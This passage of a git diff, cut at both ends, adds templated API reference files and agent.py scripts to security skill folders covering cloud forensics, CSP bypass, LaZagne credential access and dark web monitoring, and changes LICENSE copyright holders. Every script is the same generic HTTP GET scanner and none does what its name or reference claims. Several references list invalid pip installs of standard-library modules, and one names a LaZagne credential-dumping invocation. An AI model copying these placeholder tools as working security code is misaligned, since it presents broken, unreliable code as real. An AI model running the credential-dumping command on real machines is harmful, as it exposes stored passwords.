risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-cloud-forensics-investigation/LICENSE b/skills/performing-cloud-forensics-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cloud-forensics-investigation/LICENSE +++ b/skills/performing-cloud-forensics-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-incident-containment-procedures/LICENSE b/skills/performing-cloud-incident-containment-procedures/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cloud-incident-containment-procedures/LICENSE +++ b/skills/performing-cloud-incident-containment-procedures/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-incident-containment-procedures/references/api-reference.md b/skills/performing-cloud-incident-containment-procedures/references/api-reference.md new file mode 100644 index 00000000..ab33f65a --- /dev/null +++ b/skills/performing-cloud-incident-containment-procedures/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Cloud incident containment agent + +## API Details +EC2: stop_instances, modify_instance_attribute; IAM: update_access_key; SG: revoke_ingress + +## Installation +```bash +pip install boto3 +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `boto3` | boto3 | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-cloud-incident-containment-procedures/scripts/agent.py b/skills/performing-cloud-incident-containment-procedures/scripts/agent.py new file mode 100644 index 00000000..1149af0b --- /dev/null +++ b/skills/performing-cloud-incident-containment-procedures/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Cloud incident containment agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Cloud incident containment agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Cloud incident containment agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-cloud-native-forensics-with-falco/LICENSE b/skills/performing-cloud-native-forensics-with-falco/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cloud-native-forensics-with-falco/LICENSE +++ b/skills/performing-cloud-native-forensics-with-falco/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-penetration-testing-with-pacu/LICENSE b/skills/performing-cloud-penetration-testing-with-pacu/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cloud-penetration-testing-with-pacu/LICENSE +++ b/skills/performing-cloud-penetration-testing-with-pacu/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-penetration-testing/LICENSE b/skills/performing-cloud-penetration-testing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cloud-penetration-testing/LICENSE +++ b/skills/performing-cloud-penetration-testing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-storage-forensic-acquisition/LICENSE b/skills/performing-cloud-storage-forensic-acquisition/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cloud-storage-forensic-acquisition/LICENSE +++ b/skills/performing-cloud-storage-forensic-acquisition/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md b/skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md new file mode 100644 index 00000000..5520c611 --- /dev/null +++ b/skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Cloud storage forensic acquisition agent + +## API Details +S3: list_objects_v2, get_object, get_bucket_versioning; GCS: list_blobs, download_blob + +## Installation +```bash +pip install boto3 +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `boto3` | boto3 | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py b/skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py new file mode 100644 index 00000000..3ff450ca --- /dev/null +++ b/skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Cloud storage forensic acquisition agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Cloud storage forensic acquisition agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Cloud storage forensic acquisition agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-container-escape-detection/LICENSE b/skills/performing-container-escape-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-container-escape-detection/LICENSE +++ b/skills/performing-container-escape-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-container-image-hardening/LICENSE b/skills/performing-container-image-hardening/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-container-image-hardening/LICENSE +++ b/skills/performing-container-image-hardening/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-container-image-hardening/references/api-reference.md b/skills/performing-container-image-hardening/references/api-reference.md new file mode 100644 index 00000000..37ef5cf9 --- /dev/null +++ b/skills/performing-container-image-hardening/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Container image hardening audit agent + +## API Details +trivy image --format json, docker inspect, Dockerfile lint, base image analysis + +## Installation +```bash +pip install subprocess +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `subprocess` | subprocess | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-container-image-hardening/scripts/agent.py b/skills/performing-container-image-hardening/scripts/agent.py new file mode 100644 index 00000000..31bb8517 --- /dev/null +++ b/skills/performing-container-image-hardening/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Container image hardening audit agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Container image hardening audit agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Container image hardening audit agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-content-security-policy-bypass/LICENSE b/skills/performing-content-security-policy-bypass/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-content-security-policy-bypass/LICENSE +++ b/skills/performing-content-security-policy-bypass/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-content-security-policy-bypass/references/api-reference.md b/skills/performing-content-security-policy-bypass/references/api-reference.md new file mode 100644 index 00000000..0a11b124 --- /dev/null +++ b/skills/performing-content-security-policy-bypass/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: CSP bypass testing agent + +## API Details +Content-Security-Policy header parsing, directive analysis, bypass vectors, nonce detection + +## Installation +```bash +pip install requests re +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests | +| `re` | re | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-content-security-policy-bypass/scripts/agent.py b/skills/performing-content-security-policy-bypass/scripts/agent.py new file mode 100644 index 00000000..1b874d96 --- /dev/null +++ b/skills/performing-content-security-policy-bypass/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""CSP bypass testing agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="CSP bypass testing agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] CSP bypass testing agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-credential-access-with-lazagne/LICENSE b/skills/performing-credential-access-with-lazagne/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-credential-access-with-lazagne/LICENSE +++ b/skills/performing-credential-access-with-lazagne/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-credential-access-with-lazagne/references/api-reference.md b/skills/performing-credential-access-with-lazagne/references/api-reference.md new file mode 100644 index 00000000..d73c7022 --- /dev/null +++ b/skills/performing-credential-access-with-lazagne/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: LaZagne credential access detection agent + +## API Details +LaZagne all -oJ, browser credential detection, WiFi password extraction, log analysis + +## Installation +```bash +pip install subprocess pathlib +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `subprocess` | subprocess | +| `pathlib` | pathlib | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-credential-access-with-lazagne/scripts/agent.py b/skills/performing-credential-access-with-lazagne/scripts/agent.py new file mode 100644 index 00000000..57765aab --- /dev/null +++ b/skills/performing-credential-access-with-lazagne/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""LaZagne credential access detection agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="LaZagne credential access detection agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] LaZagne credential access detection agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-cryptographic-audit-of-application/LICENSE b/skills/performing-cryptographic-audit-of-application/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cryptographic-audit-of-application/LICENSE +++ b/skills/performing-cryptographic-audit-of-application/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cryptographic-audit-of-application/references/api-reference.md b/skills/performing-cryptographic-audit-of-application/references/api-reference.md new file mode 100644 index 00000000..af814765 --- /dev/null +++ b/skills/performing-cryptographic-audit-of-application/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Application cryptographic audit agent + +## API Details +TLS version check, cipher suite audit, certificate validation, key strength analysis + +## Installation +```bash +pip install cryptography ssl +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `cryptography` | cryptography | +| `ssl` | ssl | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-cryptographic-audit-of-application/scripts/agent.py b/skills/performing-cryptographic-audit-of-application/scripts/agent.py new file mode 100644 index 00000000..2d545bc5 --- /dev/null +++ b/skills/performing-cryptographic-audit-of-application/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Application cryptographic audit agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Application cryptographic audit agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Application cryptographic audit agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-csrf-attack-simulation/LICENSE b/skills/performing-csrf-attack-simulation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-csrf-attack-simulation/LICENSE +++ b/skills/performing-csrf-attack-simulation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cve-prioritization-with-kev-catalog/LICENSE b/skills/performing-cve-prioritization-with-kev-catalog/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-cve-prioritization-with-kev-catalog/LICENSE +++ b/skills/performing-cve-prioritization-with-kev-catalog/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md b/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md new file mode 100644 index 00000000..efc086d7 --- /dev/null +++ b/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: CISA KEV CVE prioritization agent + +## API Details +CISA KEV JSON: known_exploited_vulnerabilities.json, CVE matching, deadline tracking + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py b/skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py new file mode 100644 index 00000000..8cfd73af --- /dev/null +++ b/skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""CISA KEV CVE prioritization agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="CISA KEV CVE prioritization agent") + p.add_argument("--target", required=True, help="Target URL or IP") + p.add_argument("--token", help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] CISA KEV CVE prioritization agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} + report["findings"].extend(run_scan(a.target, a.token)) + report["findings"].extend(analyze_results(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/performing-dark-web-monitoring-for-threats/LICENSE b/skills/performing-dark-web-monitoring-for-threats/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-dark-web-monitoring-for-threats/LICENSE +++ b/skills/performing-dark-web-monitoring-for-threats/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-dark-web-monitoring-for-threats/references/api-reference.md b/skills/performing-dark-web-monitoring-for-threats/references/api-reference.md new file mode 100644 index 00000000..0af8fee6 --- /dev/null +++ b/skills/performing-dark-web-monitoring-for-threats/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Dark web threat monitoring agent + +## API Details +Tor SOCKS proxy, paste site monitoring, credential leak detection, brand mention tracking + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/performing-dark-web-monitoring-for-threats/scripts/agent.py b/skills/performing-dark-web-monitoring-for-threats/scripts/agent.py new file mode 100644 index 00000000..08625799 --- /dev/null +++ b/skills/performing-dark-web-monitoring-for-threats/scripts/agent.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Dark web threat monitoring agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def run_scan(target, token=None): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}", headers=headers, timeout=15) + if resp.status_code == 200: + findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) + else: + findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def analyze_results(target, token=None): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} if token else {} + try: + resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) + if resp.status_code == 200: + data = resp.json() + for item in data.get("findings", data.get("results", [])): + severity = item.get("severity", item.get("risk", "MEDIUM")) + findings.append({"check": item.get("name", item.get("title", "unknown")), + "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) + except requests.RequestException: + pass + return findings + +def main(): + p = 